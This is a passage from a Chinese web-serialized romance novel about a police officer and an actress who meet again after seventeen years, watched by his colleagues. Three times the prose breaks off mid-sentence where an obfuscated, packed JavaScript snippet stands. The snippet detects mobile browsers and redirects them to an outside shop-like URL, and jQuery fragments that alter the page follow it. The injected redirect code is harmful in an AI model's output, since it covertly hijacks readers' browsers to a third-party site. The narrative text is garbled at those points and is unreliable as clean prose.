“我是警察,担心群众安全是应该的,今天不管是谁,我都会问。” “哦,知道了!邢木头!” 很显然,江宥一对这个回答非常不满意。 她别扭地把头扭向一侧,故意不看他。 邢弋主动凑近她:“你刚叫我什么?” “没什么,车到了,我要走了。” 江宥一虽然心虚,但依旧不愿意输了气势,她高昂起下巴,有种比熊单挑德牧的劲头。 两人将近二十公分的身高差,让江宥一想要平视邢弋显得有些力不从心。 “早知道今天穿高跟鞋出门了!”江宥一小声嘟囔。 她没看到,邢弋嘴角似是微扬起弧度,他从抽屉里取出一次性口罩递到江宥一手里。 “戴上。” 江宥一也是没想到这“木头”也有细心的时候。 “走吧,我送你出去。” 邢弋大步流星先走到司机面前,说了些什么后,替江宥一打开后座的门。 上车之前,江宥一表情突然严肃起来:“邢弋,不管你是真的把我忘了,还是有什么难言之隐不愿意和我相认,今天,我们重新认识一下吧,我叫江宥一!” 江宥一主动伸出右手,晚上风大,她的手指被冻得通红。 邢弋犹豫了一下,还是伸手轻轻握上去。 “江宥一你好,我是邢弋!” 4. 邢弋的禁词 不管他是真的忘记了,还是在假装,好歹他没拒绝重新认识。 江宥一已经很满足了。 因此,告别的时候,她没有流露出一点伤心的样子。 重新见到自己想了十七年的人,不是一件值得悲伤的事情,即使他现在还不愿意承认和自己的过去。 再看看邢弋,还是那副严肃的样子,一直目送着江宥一离开,好像这是两人最后一次见面似的。 车子走远,他才重新回到所里。 又过了十几分钟,陈燃拎着水壶从楼上风风火火地下来,看着大厅只剩邢弋一个人,他撇撇嘴,有些失望。 “女神走了?” “嗯,想见她出去追去,应该没走太远!” 邢弋边整理文件,边挖苦陈燃。 “你小子还真是没良心,我出去这么久还不是为了给你和女神创造独处机会,我硬是在走廊冻了半天才敢回来,你就这么对你恩人?” 陈燃对于邢弋的态度不甚满意,虽然他平时也是这么对自己的,可今天情况特殊,自己为了成全他的美事,可是连江宥一的一张合影都没来得及要。 “话说回来,你今天是怎么了,板着一张臭脸,你平时对待群众不是挺有耐心的吗?该不会是见了偶像紧张吧?” 陈燃还是那副贱兮兮的表情。 邢弋也早就习惯了他这样,可今天实在没什么心情搭理他。 “你说什么就是什么吧!” 邢弋给自己倒了一杯水,但他似乎忘记了这是陈燃刚打回来的开水,邢弋舌尖上传来一股灼热的刺痛感。 陈燃过来拍他肩膀:“兄弟,没事儿吧,你今天真的不太正常,陪你聊聊?” 邢弋摇摇头,强迫自己挤出个微笑:“不用,就是太晚了,有点儿累。” “没事就好,再坚持一下,明天好好休息。” 陈燃果然很轻易地相信了他的鬼话。 第二天早上,交接班会议结束后,已经是上午九点多了。 “茁儿,这么贴心,还给我们带早点了?够意思啊!” 陈燃接过潘茁手里的馄饨,用肩膀轻轻撞了下她,表示感谢。 潘茁回了个白眼儿,不是很想搭理他。 潘茁是邢弋警校的同学,两人是一起考到沅江市刑侦支队的,也算是老朋友了。 她和陈燃是参加工作以后才认识的,三个人“同病相怜”,也被同事亲切称为刑侦支队“菜鸟铁三角”。 两年前一起考来的三只“菜鸟”,原本是想着在队里好好施展拳脚、惩恶扬善的,结果上班第一个星期,就无一幸免的被全部下派到区派出所轮岗。 邢弋和陈燃被分到东城区派出所,潘茁被分到了望江区派出所。 潘茁在警校的时候就非常崇拜邢弋,完全就是邢弋忠心耿耿的小跟班一枚。 对于和邢弋分到一起的不是自己,而是陈燃这个叽叽喳喳的大喇叭,潘茁一直“怀恨在心”,嫉妒这傻小子的命怎么这么好。 偏偏陈燃还就喜欢拿这个刺激她。 “你怎么过来了?” 邢弋打开馄饨大快朵颐,现在这份早点对于他和陈燃来说,完全就是雪中送炭。 “慢点儿吃,烫。”潘茁看着两人吃这么香,也不枉自己专程跑一趟。 “我也是昨晚的班儿,吃完早点想着你俩估计还饿着肚子,反正顺路,就过来发发善心,就当是本天使普度众生了,怎么样,我这算不算精准空投?” “算算算,当然算了!简直是投喂到了本人的心巴上。”陈燃喝了口热汤,抬头看她,“不过下次能不能给我带份豆浆油条,我不爱吃馄饨。” 潘茁听完立马变了脸,“滚滚滚,爱吃不吃,我这是给老邢带的,你只是沾了他的光而已,还在这儿挑上了。” 陈燃吃人嘴短,虽然心里非常不满,但也不好意思再多说什么,眼珠子提溜转了半天,和刚挨完骂的丧气金毛没什么两样。 “你这是怎么了?受什么刺激了?” 几年的朝夕相处,让潘茁一眼就察觉出邢弋不对劲儿。 “一晚上不睡觉累的呗!你看看,我这黑眼圈儿都熬出来了!” 陈燃抢着搭话。 “不可能吧?” 潘茁半信半疑,邢弋一向精力充沛,实在不至于值一次夜班就这么无精打采。 “哎呀,这不是重点,你知道我们昨晚见到谁了?” 陈燃小心翼翼靠近潘茁,他也不知道是怎么回事,说个悄悄话居然给人一种偷偷摸摸的感觉。 潘茁嫌弃地后退半步,“呀,你嘴都没擦,离我远点儿,怎么整天神经兮兮的。” 陈燃没把她的嫌弃当回事儿,满脑子都是分享八卦的激动心情。 “昨晚邢弋的女神,江宥一大明星来我们派出所了,怎么样,是不是有够劲爆!我们见到明星了哎,果然能当明星的都不是一般人,她简直是天仙下凡,比电视上还要漂亮一百倍!怪不得能让我们‘邢木头’铁树开花,动了凡心。” “说重点!” 潘茁没多少耐心,更何况陈燃说的话刚好触她逆鳞。 关于邢弋喜欢江宥一这件事情,她知道的比陈燃要早得多。 大概是因为嫉妒吧,潘茁不是很喜欢江宥一,甚至把她当做自己的“假想敌”。 上大学那会儿,班里男生大部分都有个女神,什么刘亦菲、倪妮、杨幂、Angelababy,一般这些名字比较普遍。 潘茁常说他们“肤浅”,却被调侃她这是“吃不到葡萄说葡萄酸”。 潘茁倒是对此毫不在意。 但她怎么也不敢相信邢弋居然也和那些男生一样。 当她发现邢弋的手机屏保是一个梳着马尾的漂亮女生时,第一反应居然是他有了女朋友。 “邢弋,你脱单怎么也不跟兄弟我说一声!” 潘茁尽量装得坦然。 “没有啊,我哪有时间谈恋爱?” “你的手机屏保换了,我看到是个女生,还以为是你女朋友。” 潘茁几乎掩饰不住开心,指指邢弋放在桌上的手机。 “你说她啊!” 邢弋也没掩饰什么,大方展示着自己的手机屏保。 “男生不都有喜欢的女明星吗?我也有,喏,就是她。” 潘茁被他的坦荡惊得直接愣在原地。 说实话,刚知道这个秘密的时候,潘茁对邢弋的偶像滤镜碎了一地。 她一时接受不了邢弋和那些男生一样“肤浅”的事实。 潘茁对这些女明星并无意见,也承认她们确实很美。 只不过,她总觉得,像邢弋这样无论是理论功课还是实战技能,门门出色,科科 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16957906|193215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拔尖的警校尖子生,应该更与众不同一些。 她可是眼睁睁看着他每天和自己较劲儿,恨不得一天24小时都泡在综合训练场里。 这样的人也会被一副好皮囊吸引?甚至只是一个娱乐圈名不见经传的小透明? 还是说,天底下所有的男生都一样,信奉“颜值即正义”这一条真理? 当天晚上,潘茁回宿舍翻了一整晚江宥一的演艺经历和她所有的社交媒体,看了之后大失所望,因为那时的江宥一,在娱乐圈可以说是查无此人。 邢弋到底喜欢她什么?潘茁想不通。 但她显然是低估了江宥一在邢弋心里的地位。 邢弋大三那年,江宥一卷入了一场丑闻。 有人在网上爆料,说模特出道的江姓三字95后女星与某位影视圈郝姓大导演关系不一般,还说她插足对方婚姻,被导演太太“捉奸在床”。 那人还信誓旦旦的说自己手里有证据,有猛料。 偏偏那时,江宥一刚刚被传即将参与一部大制作电影,而那部电影的导演偏偏正是已婚,姓郝。 似乎所有的线索都指向她和那位“郝”导演。 迫于舆论压力,电影官方立刻发声明澄清,还说演职人员表里并无江宥一的名字,一切只是谣传。 确实,电影的口碑、票房和一个娱乐圈小透明,孰轻孰重,应该牺牲哪一个,明眼人都能看得出来。 可惜,江宥一就因为这样的无妄之灾,失去了自己争取好久才得到的出演机会。 可那时的她,甚至还来不及为这份失去的工作难过。 网上铺天盖地都是对她的辱骂。 “狐狸精,滚出娱乐圈!” “你父母没教过你怎么做人嘛?” “娱乐圈那点儿规则,你倒是玩儿的挺溜!” “你爸妈知道你在外面干这行吗?真是光宗耀祖!” …… 江宥一蜷缩在小小的出租屋角落,听尽了她能想象到的所有难听的话。 那个时候,这件事情闹得沸沸扬扬。 江宥一虽然没什么名气,可那位郝导演和他太太,一直是娱乐圈出了名的模范夫妻,江宥一也就自然成了众矢之的。 没有人在乎那篇爆料的真实性,也没人愿意相信当事人的澄清。 一个平淡的真相,远不如一个爆炸性新闻更激动人心。 邢弋很少上网,但关于江宥一的消息,他一直很关注。 他甚至为了江宥一和班长大打出手,只因为班长在他面前说了句,娱乐圈水这么深,江宥一背后的故事一定很“精彩”。 邢弋忍了这么多天的怒火,他对江宥一的担心……所有情绪集中发泄到了班长一人身上。 没办法,谁让他嘴欠,说谁不好,偏偏要说江宥一。 从那天开始,警校无人不知,“江宥一”三个字,就是邢弋的禁词。 如果你打不过他,最好还是不要在他面前提起“她”的名字,班长已经为此付出了惨痛代价。 潘茁从未见到过邢弋如此情绪失控的模样,她也就是那个时候认清,邢弋对江宥一,或许早就已经超出了一个粉丝对偶像该有的喜欢。 但她其实也并未放在心上,在她看来,邢弋和江宥一本来就是两个世界的人。 不出意外,他们一辈子都不会有交集。 5. 我们,来日方长 “她来这儿干什么?” 潘茁没想多问,她担心邢弋会察觉出来些什么。 她现在还摸不清他到底是怎么想的,所以不敢轻易暴露自己对他的感情。 但好奇终究还是战胜了理智。 “她……在这里待了很久吗?” “你也觉得我俩运气不错吧?其实我也没想到,值个班还能遇上大明星……” 陈燃依旧答非所问。 “说重点!” 潘茁的耐心即将被耗尽。 “江宥一昨晚救了个要轻生的女孩儿,你别说,这世界上居然还真有她这种人美又心善的女生……” “你今天话真多!” 潘茁一记白眼飞过去,吓得陈燃立刻噤了声。 但过了一会儿,他还是没忍住小声嘀咕:“而且人家笑容又甜,声音也温柔,不像你,母夜叉一个。” “别忘了,你今天的早点还是我这个母夜叉给你带的,忘恩负义的家伙。” 潘茁气得要去夺陈燃手里的半根烤肠,不过被他眼疾手快塞进了嘴里。 “快点儿吃,吃完回去了,困死了!” 邢弋光速扒拉完最后一口,收拾好桌子,直接起身要走。 潘茁没想到,他居然比自己还想要跳过这个话题,这个名字。 这么多年了,他听到“江宥一”这三个字,反应还是这么大。 警察的直觉告诉潘茁,江宥一对于邢弋来说,绝对不只是喜欢的明星这么简单。 另一边。 江宥一回了家,也是彻夜难眠。 折腾了一晚上已经够累了,可当她好不容易躺在床上,一闭眼,满脑子想的都是邢弋。 她也不知道应该怎么形容自己的心情,激动、开心、惊喜?还是失落、委屈、困惑? 才分开不过几个小时,江宥一已经迫不及待地想要再次见到邢弋。 她太激动了,激动到已经没办法一个人待在这个空荡荡的房子里。 “卢珮宁,醒了没,十万火急。” 江宥一一通电话拨了过去,只听到手机那边传来一声怒吼。 “啊啊啊——江宥一,你有病啊!” 睡眼朦胧间,卢珮宁看了眼时间,凌晨五点,她翻了个白眼从床上艰难爬起来。 “说吧,你家是着火了还是漏水了,进贼了还是见鬼了?” “卢大小姐,你能不能盼着点儿我好?” “不能,江大美女,你问问谁家好人半夜不睡觉,打电话骚扰别人?” 卢珮宁半睁着眼睛,话说的有气无力,感觉下一秒就又要昏睡过去。 “今天是特殊情况,算我对不住你,我实在是睡不着,想找个人聊聊,而且我这儿有重磅消息,你不是最喜欢听八卦了吗?” 江宥一知道卢珮宁就吃她这一套。 果然,对面终于松了口,似乎是对江宥一的意外来电有了几分好奇。 “说吧,什么事,最好是值得本小姐现在驾车亲自去你家跑一趟的大事,否则,下次见面,我非揍你一顿不可。” “我见到邢弋了!” 短短六个字,就让卢珮宁连衣服都没来得及换,直接在睡衣外面套了件羽绒服,拿着车钥匙就往江宥一家里赶。 睡觉天天都能睡,八卦可不是随时都能听的。 “你给我等着,我要听细节。” 卢珮宁会有这反应,其实也不奇怪。 从她认识江宥一那天开始,邢弋的名字她听了不下百遍。 对于这个她素未谋面的陌生男子,卢珮宁除了好奇还是好奇。 毕竟能让江宥一这种级别的万人迷念念不忘的,也绝对不会是什么等闲之辈。 卢珮宁到现在还清楚记得,她和江宥一刚认识那年,江宥一只是因为一个和邢弋相似的侧脸,就追着那人跑了半条街。 那个时候江宥一已经在平面模特圈里小有名气,却为了个男人不顾一切的在大街上狂奔。 那是卢珮宁第一次听到邢弋的名字,也是第一次听江宥一讲起她过去的故事。 在那之前,卢珮宁从来不敢想象,一个人真的会想着另一个人十几年。 甚至是9岁之后就再也没有见过面的人。 对她来说,这简直是科幻片。 她不是没问过江宥一原因。 卢珮宁觉得,对另一个人抱有这么深的执念,一定要有一个说得过去的理由。 当时江宥一告诉她的话,让她哑口无言,再也说不出任何质疑的话,甚至莫名对江宥一和邢弋之间的感情生出了一丝敬意。 “因为我这一生最幸福的时间,都是和他一起度过的。” 江宥一家的门铃响起时,距离她挂断电话不过十五分钟。 卢珮宁对于这则八卦的重视程度,从她不要小命的车速上就能看出。 “江宥一,你最好没框我啊,我轮胎都快冒火星子了。” 卢珮宁风风火火地从屋外进来,拎着瓶红酒直奔沙发。 “快快快,快给我从头说说,你是怎么找到你那位白月光先生的?” “我在江边救了个……” 江宥一把昨天晚上的事情一字不落地给卢珮宁讲了一遍。 对方却只捕捉到了一个重点。 “什么,你说他不记得你了?” 江宥一点点头。 卢珮宁气得往嘴里灌了一大口红酒。 “这小没良心的,你惦记了他这么多年,合着人家早把你给忘了?我还以为你俩是什么感人肺腑的重逢故事呢,合着姐妹,您这是单相思啊?” 卢珮宁用一副恨铁不成钢的表情瞅着江宥一。 “也不一定,你说他有没有可能是装的呢?” 卢珮宁把手放到江宥一额头上摸了一下。 “这也不烧啊,是不缺觉,脑子傻了,别自欺欺人了好嘛,理由呢?你现在长得貌美如花,混得风生水起,他装不认识你的理由是什么?” “我不知道,还没想好,可能是我自己不愿意相信他忘了我吧!” “他无名指戴戒指了吗?” 卢珮宁往江宥一身边挪了挪。 “没注意,问这个干嘛?” “我看看他是不是结婚了,和你避嫌呢,毕竟谁能受得了自己老公有个这么漂亮的青梅竹马。” “别贫了,你这说的都是什么乱七八糟的。” “好好好,那就正经一点,说正事儿,你打算以后怎么办,人家要是真把你忘了,或者死活不承认呢?” “他说他不记得了,那我就好好陪他回忆回忆呗,我们来日方长。” 江宥一说到做到,和邢弋叙旧这事儿她可等不了。 没等到中午,她就全副武装跑了趟派出所,手里还拿着前一晚邢弋给她的外套。 这确实是个再见面的好借口。 可惜,还是让她扑了个空,邢弋早就回家休息了。 十七年都等了,不差这一天,江宥一安慰自己。 第二天早上八点半,她准时到派出所门口,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16957907|193215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次总算是没扑空。 只不过,邢弋看到她时的表情,可不像是欢迎。 “你怎么来了?” “给你送衣服。” 江宥一听出了他口气里没有丝毫欢喜之意,也就识趣地收敛起笑容。 “我昨天来过一回,你不在。” “一件衣服而已,不用麻烦你来回跑。” “可我想见你。” 江宥一没打算拐弯抹角。 “你就不怕被人认出来吗?你这样的公众人物,频繁出入派出所,被人拍到不是好事吧!” 邢弋倒是很会岔开话题。 “哼,看不出来呀,你懂得还挺多,我是来做好人好事的,又不是偷鸡摸狗、杀人放火。如果被拍到,我又不是没张嘴,不会替自己解释吗?” 江宥一这话说得轻松,一副天不怕地不怕的模样。 “如果所有事情都能解释得清,你这些年还会受那么多委屈吗?”邢弋心里这么想,可话还是没能说出口。 “怎么不说话了?” 江宥一歪头看他,笑脸盈盈。 那一刻,邢弋有些恍惚,好像又回到了许多年前的那个春天。 第一次见面时,她也是这样看着他笑,浅浅的梨涡嵌在嘴角。 “没什么,衣服我收到了,你也早点回去吧。” 邢弋半天才回过神来,眼前的女孩儿早已不似当年,那双干净灵动的眼睛里,多了些许看不透的悲伤。 这些年,她过得很累吧? “不用你催,我会回去的,我也很忙的好吗?你什么时候有时间,一起吃个饭呗!” “不用了,我……所里还有事儿,先去忙了。” 邢弋原本想说的是“我们不熟,以后不要再见面了。” 可这句话太重了,无论是对江宥一,还是对他自己。 他实在是说不出口,也怕自己后悔,所以只能随便找个借口搪塞过去。 “没事儿,你忙你的,我可以等你。” 江宥一早就料到邢弋会拒绝,所以很坦然地接受了他给出的理由。 邢弋转身回了派出所,以为江宥一也会离开。 中午休息,陈燃搭着邢弋的肩膀,两人一起从派出所里出来。 “茁儿已经把菜点好了,有你最爱的麻婆豆腐。” “嗯。” 邢弋看了看路边,像是在找什么人,心不在焉的。 “不是我说,茁哥对你那叫一个忠心耿耿、死心塌地,你上警校那会儿是不是救过她的命啊?还是说,她有什么把柄在你手里?我怎么就没你这待遇呢?” 陈燃这话里一股子醋味儿。 没等邢弋回应,江宥一带着墨镜从停车场走过来。 “你们吃饭去吗?一起啊?” 陈燃看到眼前来人,愣是把眼睛瞪到了平时的两倍大。 “我没看错吧,江宥一?” “没看错没看错,是我。” 江宥一礼貌地摘下墨镜。 “好啊,一起,咱们认识也算是缘分,我们打算去吃川菜,江小姐吃得惯吗?” 陈燃根本没给邢弋拒绝的机会,答应的那叫一个迅速。 “当然吃的惯,我可能吃辣了!” “那太好了,我们还有一个朋友,你不介意吧!” 陈燃差点儿把潘茁给忘了。 “当然不介意了。” 江宥一现在高兴还来不及,要不是陈燃答应的快,估计这会儿自己早被邢弋拒绝八百回了。 6. 替身文学 江宥一屁颠儿屁颠儿地跟在邢弋身后,也不管他愿不愿意,今天这狗皮膏药,她当定了! 陈燃看着江宥一,心里要多好奇有多好奇,原来女明星也都这么接地气的嘛? “我能问一下,你今天为什么会在派出所吗?真是专程来找我们吃饭的?” 陈燃绕过邢弋,站在江宥一身边。 她的突然出现,对于不知缘由的陈燃来说,确实意外。 江宥一看了一眼邢弋,又看向陈燃,笑得明媚。 “是啊,专程来找你们的,我也是要吃饭的,可惜没什么朋友,你知道的,一个人吃饭太凄凉。” 江宥一装出一副可怜巴巴的模样。 她这话如果被卢珮宁听到,她肯定会疯狂吐槽:是谁凌晨被一通电话吵醒就赶来听你发牢骚,现在还好意思说自己没朋友?重色轻友还真是被你演绎的淋漓尽致,绝交! 陈燃还真就没去怀疑江宥一这句话的真实性,单纯以为大明星是真没什么时间交朋友。 “没朋友?那就把我们当成是你朋友,以后想找人一起吃饭,你就来找我们,非常欢迎大明星光临!” 邢弋默默看了眼陈燃,八成是在替自己兄弟的智商着急:她会没朋友?从七八岁开始,“姜桃”就已经是孩子王了。 陈燃大方邀请,江宥一当然不会拒绝,她也正有此意。 “好啊,那加个联系方式?” 江宥一找出自己的微信二维码,抢先递在陈燃面前。 陈燃哪会想到自己有朝一日能加到大明星的联系方式,他急忙从兜里拿出手机,两人就这么成功添加了好友。 紧接着江宥一又看了一眼邢弋,要知道,他才是她的真实目的。 但邢弋始终双手插兜,自顾自埋头往前走,没给江宥一递出橄榄枝的机会。 好在江宥一最擅长见缝插针。 她眼巴巴地看着邢弋,他感没感觉到不清楚,陈燃算是看了个明白。 他靠近邢弋,胳膊揽住他肩膀,邢弋刚抬头看他,他就给了个眼神暗示。 邢弋顺着陈燃的眼神看向江宥一,她顺势就把自己的手机递在他面前。 “赏个脸?交个朋友嘛!嫌我吵你再把我拉黑也不迟。” 她的语气带着点儿撒娇意味,堂堂女明星,姿态已经放得足够低了。 邢弋要是再不同意,就简直是太“不识好歹”了,两人又不是仇人,何必对她退避三舍。 他左右看着两人一唱一和的样子,拿出手机扫了码。 到目前为止,江宥一接近邢弋的目标全部按计划进行。 但这和邢弋原本的想法,倒更是背道而驰了。 他原本确实是想要和江宥一保持距离的,但也不知道怎么回事,就逐渐和她越走越近了,现在甚至连联系方式都加上了。 他心里其实清楚得很,不是江宥一足够执着,也不是陈燃的助攻多么有效,这一切都源于他邢弋自己不想和江宥一断了联系。 她说她等了自己十七年,他又何尝不是。 三个人到了饭店。 已经订好包间的潘茁特意出来迎接,她满心欢喜地冲着邢弋招手,却在看到他身后跟着江宥一的那一刻,愣在原地。 江宥一? 潘茁甚至不敢相信自己的眼睛。 这个人,这个名字最近在自己和邢弋身边出现的频率似乎有些太高了。 潘茁的脸色不太好看,甚至她看向江宥一的眼神里带着点儿正主看向第三者的不满。 这位大明星每天是没什么正事儿要做了吗,天天缠着邢弋算是怎么回事儿? 潘茁一向心直口快,这句心里话都快走到嗓子眼儿了,又被她仅存的理智生生咽了回去。 陈燃看了眼潘茁,神经大条如他,竟然也察觉到了一丝敌意。 主要是潘茁这个人一向比较好相处,尤其是对于陌生人,她也一直很热情。 但是今天,明明是第一次见到江宥一,潘茁居然连个笑脸都没露出来,甚至还是江宥一主动和她打招呼。 “你好,我是江宥一。” 见江宥一主动伸手,潘茁也不好意思继续板着脸,毕竟她又不是邢弋女朋友。 更何况,自己就算真的是邢弋女朋友,人家江宥一又不是真的第三者,自己又有什么理由给人家脸色看。 反应过来以后,她突然意识到自己刚才的表现有些无礼:“你好,我叫潘茁,是邢弋和陈燃的同事。” 虽然过程有些别扭,但这几个人也就算是正式认识了。 落座之后,江宥一的眼神就几乎没从潘茁身上挪开过。 像,太像了…… 潘茁的一头短发让江宥一有点恍惚。 江宥一小时候就是这个发型,在她还叫姜桃的时候。 而且潘茁眼睛又大又圆,头发又黑又亮,江宥一惊叹,她倒好像比现在的自己更像小时候的“姜桃”。 江宥一看了一会她,又把视线转回到邢弋身上。 两人对视一眼,江宥一的眼神好像在说:“可以呀你,邢木头,这么多年不见,你倒是给我找好替身了。” 邢弋看不懂江宥一眼神里的深意。 但也猜到江宥一同样觉得短发的潘茁长得和曾经的“姜桃”有几分相似。 潘茁今天本就因为江宥一的意外出现不怎么舒服,现在又要被迫看着他俩眉目传情。 更让她恼火的是,自己想阻止也没有身份。 她坐得板正,开始生上闷气。 江宥一在娱乐圈摸爬滚打多年,不至于连这点脸色都看不出来。 潘茁喜欢邢弋,这点江宥一几乎可以肯定。 事情变得有趣起来了。 江宥一现在还不敢确定邢弋对潘茁是什么感情,就连他对自己的突然出现有什么感觉,她也不能确定。 十七年不见,他好像比曾经更神秘了。 四个人第一次坐在一起,刚开始的气氛实在是有些尴尬。 陈燃受不了这诡异气氛,主动站起来破冰:“茁哥儿,菜点够了没,今天江小姐也在,咱们得好好招待。以后咱们沅江三人组可能要新增一员大将了。” 潘茁看不惯他这见了美女就开始献殷勤的舔狗模样,回答的态度不是很好。 “你少自作多情了,人家说了要加入你这破组织了嘛!” 两人斗嘴,江宥一也不好打岔,只是尴尬笑笑没说什么。 “你俩就别吵了,菜够吗?不够就加点儿。” 邢弋被两人吵得心烦,干脆出来劝架。 “你放心吧,今天日子特殊,我特别多点了几个菜。” 看在邢弋的面子上,潘茁这才愿意和陈燃休战。 陈燃像是有人撑腰似的,连连点头,“那就好。” “今天是什么日子啊?”江宥一扭头小声问邢弋。 “今天是我们三个人认识两周年纪念日。” “是这样啊。”江宥一点点头,突然理解了潘茁的“敌意”从何而来,她这位“不速之客”今天好像意外出现在了自己不该出现的地方。 “是我们和陈燃认识两周年,咱俩认识可不止两年吧?” 潘茁扒拉了一下邢弋的袖子,对于他没解释清楚自己和他认识多久这事儿,多少有些不满。 她刻意做出和邢弋很亲近的模样,可这点儿把戏在江宥一眼里,不过是小儿科罢了。 可即使她明明知道邢弋大概率对潘茁没有想法,但看着两人轻松相处的模样,她心里还是觉得酸涩。 如果不是命运的捉弄,她或许早就跟邢弋在一起了吧。 陈燃依旧理解不了潘茁突然生气的理由,只有江宥一觉得在这个场合下的自己有些多余。 “你和邢弋认识很久了吗?” 她问潘茁。 “嗯,我俩大学是一个警校的,同级同班,邢弋哥挺照顾我的,沅江是我老家,我俩毕业就一起考到这儿了。” 本是江宥一为了缓解尴尬随便问了句,结果这答案实在是让她有点儿接受不了。 她看了一眼邢弋,对方没有否认。 所以这是真的,他真的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16957908|193215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是为了潘茁才来了沅江。 所以一切只是自己自作多情。 第一次见面那天,当江宥一得知邢弋很早就开始关注自己,她还以为他考到沅江工作,是为了她江宥一。 是为了找到她,为了陪着她。 现在看来,她的自以为是简直就是个笑话。 原来这只是因为潘茁。 所以他喜欢她? 他真的忘了自己? 他们从前的经历对他来说,真的那么不重要? 他从没想过找到自己? 江宥一想要问邢弋的问题太多了。 因为有外人在场,江宥一说不出口,只能坐在旁边强颜欢笑,看潘茁讲述着她和邢弋曾经的故事。 江宥一没有读过大学,这是她一生的遗憾。 她曾几何时也幻想过,和邢弋读同一所大学,两人一起上课,一起复习,一起吃食堂…… 可她梦寐以求的一切,原来他都早就已经和别人一起完成了。 原来只有自己还被困在原地…… 菜上齐了。 潘茁特意给邢弋夹了他爱吃的菜。 江宥一像个外人似的看着这一切。 她安静了好多,半天没有出声儿。 邢弋注意到了她不太对劲儿,看得心里着急。 他把水煮鱼转到江宥一面前。 “不知道你喜欢吃什么,随便吃点儿吧。” 江宥一呆呆看着他,眼神里有怨恨有委屈。 姜桃最爱吃鱼了。 八岁的姜桃曾经说过,等她和邢弋老了,就包一片鱼塘,让他给自己钓一辈子的鱼。 现在的江宥一看着面前的水煮鱼,一时分不清这是因为邢弋还记得曾经的约定,还是说一切只是凑巧。 江宥一看着那盘鱼,邢弋看着江宥一,潘茁看着邢弋…… 只有陈燃一个人专心干饭,期间还热情地介绍江宥一多吃这家的招牌菜——回锅肉。 “我不吃猪肉。” “她不吃猪肉。” 江宥一和邢弋同时开口。 “她不吃猪肉你怎么知道?” 潘茁看着如此默契地两人越发觉得奇怪。 “你笨死了,江小姐是老邢女神,她爱吃什么不爱吃什么,他会不知道?这是作为粉丝的基本职业素养,这你都不懂?” 陈燃嘴快,不过也是自作聪明罢了。 唯一知道这到底是怎么回事儿的两个人,这会儿反倒安静得要命,一言不发。 “吃好了吗?吃好了就回去吧,下午还要上班。” 吃完饭,邢弋第一个站起来。 潘茁似乎不是很高兴,好好的一顿饭,因为江宥一的出现,吃得几个人心不在焉。 尤其是邢弋,心思一直都在江宥一身上,完全不在乎今天对他们三个人来说有多重要。 明明是为了庆祝三人认识两周年才约到一起吃饭,而且马上就要一起结束下派时间,回到队里。 潘茁等这一天等了好久,她甚至还特意化了全妆,买了新衣服。 结果江宥一一出现,就轻松成了焦点,完全吸引走了邢弋全部的注意力。 潘茁不服,她理解不了邢弋为什么会被一张漂亮脸蛋迷得神魂颠倒。 她不知道江宥一和邢弋的过去,所以只是认为邢弋喜欢的不过是江宥一的那张脸。 潘茁不服气。 但其实江宥一今天也没多高兴。 眼看着一个长相酷似“姜桃”的人取代自己,陪在邢弋身边六年,单凭这一点就足够让江宥一吃醋到癫狂。 更别提她刚刚知道邢弋居然为了她,特意来到沅江工作。 江宥一原本以为上天让他重新遇到邢弋,是一种恩赐,一种弥补。 但现在看来,这份迟到的重逢依然是惩罚,是噩梦。 几个人从饭店出来,江宥一拉住邢弋。 她等不了了。 潘茁到底是怎么回事,是替身,还是巧合,她必须问个清楚。 “我们谈谈吧。” 7. 她是唯一 邢弋破天荒地没有拒绝江宥一的请求。 他也想和她好好谈谈。 “所以你是真的把我给忘了?” 江宥一不信邪,又确认了一遍。 但是邢弋看向她时那冷漠的双眸已经给出了答案。 江宥一不想去纠结邢弋到底是不是真的忘记了自己,她只觉得自己这些年的惦记像个笑话。 “那个潘茁是不是喜欢你?你喜欢她吗?” 江宥一没想提起潘茁的,可是现在的她好像已经完全丧失了理智。 她不甘心。 “我们就是同事,而且,江小姐,我的事情恐怕和你没有关系吧!” 邢弋直视着江宥一,江宥一也直愣愣看着他,眼皮都不眨一下。 邢弋的话确实让她伤心,明明刚刚两人才加上彼此的联系方式。 她高兴了都还没一天。 江宥一以为邢弋突然这么冷淡,只是因为自己的突然出现破坏了他们的庆祝,以为他是在生气她让潘茁不高兴了。 十七年没见了,她早该想到的,他的身边会出现其他人。 而邢弋以为,只要他态度恶劣,江宥一就会和自己保持距离,但没想到,她只是笑笑。 过了很久后,江宥一才开口:“你的事情当然和我有关系了,抛开过去不谈,你看不出来吗?我对你……很感兴趣!” 邢弋没想到她还能笑得出来,她倒是比他想象中心态要好得多。 